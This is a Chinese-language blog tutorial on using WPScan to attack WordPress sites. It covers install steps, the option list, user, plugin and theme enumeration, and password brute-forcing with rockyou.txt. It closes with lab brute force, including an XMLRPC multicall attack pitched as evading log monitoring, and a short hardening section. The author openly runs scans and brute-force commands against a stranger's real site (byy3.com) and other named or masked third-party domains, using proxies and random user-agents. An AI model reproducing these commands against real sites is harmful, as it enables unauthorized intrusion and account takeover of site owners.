WPScan使用完整教程之记一次对WordPress的渗透过程
本次简单的记录优下自己关于WPScan渗透实战的案例,以及对于WPScan的一些使用方法,有什么错误的地方希望各位大佬指正(Orz)
一:什么是WPScan
WPScan
是一个扫描 WordPress
漏洞的黑盒子扫描器,它可以为所有 Web
开发人员扫描 WordPress
漏洞并在他们开发前找到并解决问题。
我们还使用了 Nikto
,它是一款非常棒的Web
服务器评估工具,我们认为这个工具应该成为所有针对 WordPress
网站进行的渗透测试的一部分。
WordPress
作为三大建站模板之一,在全世界范围内有大量的用户,这也导致白帽子都会去跟踪 WordPress
的安全漏洞,WordPress
自诞生起
也出现了很多漏洞.WordPress
还可以使用插件、主题。于是WordPress
本身很难挖掘什么安全问题的时候,安全研究者开始研究其插件、主题的
漏洞。通过插件,主题的漏洞去渗透WordPress
站点,于是WPScan
应运而生,收集 WordPress
的各种漏洞,形成一个WordPress
专用扫描器。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的
WordPress
站点暴力破解用户名密码。
WPScan
已经被预安装在以下Linux
系统中:
1: BackBox Linux
2: Kali Linux
3: Pentoo
4: SamuraiWTF
5:BlackArch
二:预备知识之WPscan
安装与使用
由于Windows
不支持WPScan
。最新版本的WPScan
可以在Linux
或Mac
上下载使用:
在Ubuntu上安装
sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev
在Debian上安装
sudo apt-get install gcc git ruby ruby-dev libcurl4-openssl-dev make zlib1g-dev
在Fedora上安装
sudo dnf install gcc ruby-devel libxml2 libxml2-devel libxslt libxslt-devel libcurl-devel patch rpm-build
在Arch Linux上安装
pacman -Syu ruby
pacman -Syu libyaml
在macOS上安装
需要Apple Xcode
,命令行工具和libffi
(能够安装FFI gem
)具体安装过程请点击这里
常用参数选项:
--update 更新到最新版本
--url | -u <target url> 要扫描的WordPress
站点. --force | -f 不检查网站运行的是不是WordPress
--enumerate | -e [option(s)] 枚举
option:
u 枚举用户名,默认从1-10
u[10-20] 枚举用户名,配置从10-20
p 枚举插件
vp 只枚举有漏洞的插件
ap 枚举所有插件,时间较长
tt 列举缩略图相关的文件
t 枚举主题信息
vt 只枚举存在漏洞的主题
at 枚举所有主题,时间较长
可以指定多个扫描选项,例:"-e tt,p"
如果没有指定选项,默认选项为:"vt,tt,u,vp"
--exclude-content-based "<regexp or string>"
当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹
--config-file | -c <config file使用指定的配置文件
--user-agent | -a <User-Agent指定User-Agent
--cookie <String指定cookie
--random-agent | -r 使用随机User-Agent
--follow-redirection 如果目标包含一个重定向,则直接跟随跳转
--batch 无需用户交互,都使用默认行为
--no-color 不要采用彩色输出
--wp-content-dir <wp content dirWPScan会去发现wp-content目录,用户可手动指定
--wp-plugins-dir <wp plugins dir指定wp插件目录,默认是wp-content/plugins
--proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议
--proxy-auth <username:password设置代理登陆信息
--basic-auth <username:password设置基础认证信息
--wordlist | -w <wordlist指定密码字典
--username | -U <username指定爆破的用户名
--usernames <path-to-file指定爆破用户名字典
--threads | -t <number of threads指定多线程
--cache-ttl <cache-ttl设置 cache TTL
--request-timeout <request-timeout请求超时时间
--connect-timeout <connect-timeout连接超时时间
--max-threads <max-threads最大线程数
--throttle <milliseconds当线程数设置为1时,设置两个请求之间的间隔
--help | -h 输出帮助信息
--verbose | -v 输出Verbose
--version 输出当前版本
0x02.WPScan选项说明
选项 | 描述 |
---|---|
--url | 扫描的目标url |
-h | 显示帮助信息 |
-v | 显示版本 |
-o | 将扫描结果保存到文件 |
-f | 将扫描结果以指定的格式输出(cli-no-colour,cli-no-color,cli,json) |
--detection-mode | 指定扫描的模式(Default: mixed,Available choices: mixed, passive, aggressive) |
--user-agent | 指定user-agent |
--random-user-agent | 随机user-agent |
--http-auth login:password | auth认证 |
-t | 指定最大线程(默认5) |
--request-timeout | 指定扫描超时时间(默认60s) |
--throttle | 执行另一个web请求之前等待的毫秒数。如果使用,最大线程数将设置为1 |
--connect-timeout | 指定连接超时时间(30) |
--disable-tls-checks | 不检查tls |
--proxy | 设置扫描代理 |
--proxy-auth | 代理认证 |
--cookie-string | 设置扫描使用的cookie |
--cookie-jar | 读取和写入cookie的文件 |
--force | 不检查是不是运行的wordpress |
--update | 更新 |
--api-token | 调用api扫描 |
--wp-content-dir | 检测自定义wp-content目录 |
--wp-plugins-dir | 检测自定义插件目录 |
-e vp | 扫描容易受到攻击的插件 |
-e ap | 扫描所有的插件 |
-e p | 扫描热门的插件 |
-e vt | 扫描容易受到攻击的主题 |
-e at | 扫描所有的主题 |
-e t | 扫描热门的主题 |
-e tt | Timthumbs |
-e dbe | 扫描数据库导出文件 |
-e cb | 扫描config备份文件 |
-e u | 扫描所有的用户 |
-e m | 扫描所有的媒体文件 |
--exclude-content-based | 排除扫描到的包含指定字符串的响应 |
-plugins-detection | 使用指定的模式扫描插件(Default: passive) |
--plugins-version-detection | 使用指定的模式检查插件的版本(Default: mixed) |
--exclude-usernames | 排除指定的用户名b |
-P | 指定破解的密码文件 |
-U | 指定破解的用户列表 |
--multicall-max-passwords | 使用 XMLRPC 多重调用通过请求发送的最大密码数(Default: 500) |
--password-attack | 强制使用提供的攻击,而不是自动确定一个(Available choices: wp-login, xmlrpc, xmlrpc-multicall) |
--login-uri | 指定登录的页面 |
--stealthy | 设置别名 |
三:渗透站点演示
环境准备
kali linux
Debian 9
WPScan(linux中已经与安装)
渗透过程
1:安装及更新数据漏洞库
你可以使用下列命令在自己的设备中安装WPScan
git clone https://github.com/wpscanteam/wpscan.git
gem install wpscan
cd wpscan 进入下载主目录然后
安装 命令
更新漏洞库,使用命令:wpscan --update
2:扫描WordPress
漏洞
接下来使用下面的命令来扫描可能存在的漏洞网站:
wpscan --url [wordpress url]
z这里我直接用一个不认识的人的站点为例子进行演示(https://byy3.com)
wpscan --url https://www.byy3.com/
3:扫描wordpress
用户
我们可以对其用户进行枚举:wpscan --url https://byy3.com -e u 或
wpscan --url https://www.xxxxxxx.wiki/ --enumerate u
得到的用户信息:
4:暴力破解得到密码
wpscan --url www.xxxxx.fr --passwords ./rockyou.txt -U admin4572 -t100 --random-user-agent --proxy http://demo.spiderpy.cn/get/?type=https
wpscan --url https://www.xxx.com --ignore-main-redirect --passwords ./rockyou.txt -U admin -t100 --random-user-agent
在进行暴力破解攻击之前,我们需要创建对应的字典文件***新版有所更改 查看help
比如原来--wordlist 变为--passwords 然后 --username 变为 -U
或者https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation
wpscan --url www.example.com --passwords ./passX.txt -U admin
wpscan --url https://www.xxxxx.wiki/ -e u --passwords /root/桌面/password.txt
*** wpscan3.7版本有改版 具体查看帮助wpscan -h 原来--wordlist 改成 -P
*** wpscan3.7版本有改版 具体查看帮助wpscan -h 原来--wordlist 改成 -P
效果图如下:
5:扫描插件漏洞
插件可以扩展WordPress
站点的功能,但很多插件中都存在安全漏洞,而这也会给攻击者提供可乘之机。
我们可以使用下列命令扫描WordPress
站点中安装的插件:
wpscan -u https://www.xxxxx.wiki/ -enumerate p
或 wpscan --url https://www.lz80.com/ --enumerate p
或 wpscan --url https://www.lz80.com/ --enumerate p
我们可以看到该网站中安装了easy-wp-smtp
,theme-my-login
插件:
接下来,我们可以使用下列命令来扫描目标插件中的安全漏洞:
wpscan --url https://www.xxxxx.wiki/ --enumerate vp
效果演示:
6:主题漏洞扫描
使用下列命令对主题进行扫描:
wpscan --url https://www.xxxxx.wiki --enumerate t
发现一个主题:
使用下列命令扫描主题中存在的漏洞:
wpscan --url https://www.xxxxxx.wiki --enumerate vt
7:TimThumbs
文件漏洞扫描
wpscan -u https://www.xxxxxx.wiki/ -enumerate tt
四:WordPress
的防护措施
1:关于密码爆出防护措施
如果你想要避免WordPress
用户列表被列举,不要把用户名作为昵称,并且不要使用已经被大众知道的用户名。最好的方式是选择一个包含随机字
符的名字做用户名并且使用其他名字作为昵称。 WPScan
扫描URL
来获取用户名,所以如果你不使用这个用户名,你肯定不会被WPScan
搜索到。
防止暴力破解的最好方式是限制一个IP
地址的尝试登录次数。WordPress
有很多插件可以实现这个功能。列如有一个插件叫
Brute Force Login Protection
(当然你也可以写一个脚本防止爆出个人密码)
2:如何防范扫描插件、主题、TimThumb
文件
使用Block Bad Queries (BBQ)
插件,就可以屏蔽和禁止这类扫描
最后密码爆破
我们输入如下命令开始爆破:
1 | wpscan --url http://172.16.12.2:8080/ --wordlist /home/ichunqiu/wordbrutepress/password.lst --username zhangsan |
成功爆破密码qwer1234
爆破是否成功很大取决于字典是否强大,从另一方面来说,我们设置密码时要足够强
- XMLRPC爆破
xmlrpc
是 WordPress 中进行远程调用的接口,低版本中曾曝出可利用 xmlrpc 调用接口中的 system.multicall提高爆破效率,通过 xmlrpc可以将多个密码组合在一次请求中提交,可以减少请求次数,从而规避日志的监测。
该接口只允许POST提交请求,我们大概看看包内容
请求头中包含了登录信息
具体原理请参考
由上面的WPscan扫描结果可知目标站点存在该接口,而3.4.1 这个版本在影响范文之内的 我们使用工具开始爆破
命令行切换到下载的工具目录,
执行命令如下:
1 | python WordBrutepress.py -X -t http://172.16.12.2:8080/ -u zhangsan -w /home/ichunqiu/wordbrutepress/password.lst |
执行结果:
使用获取的密码成功登陆后台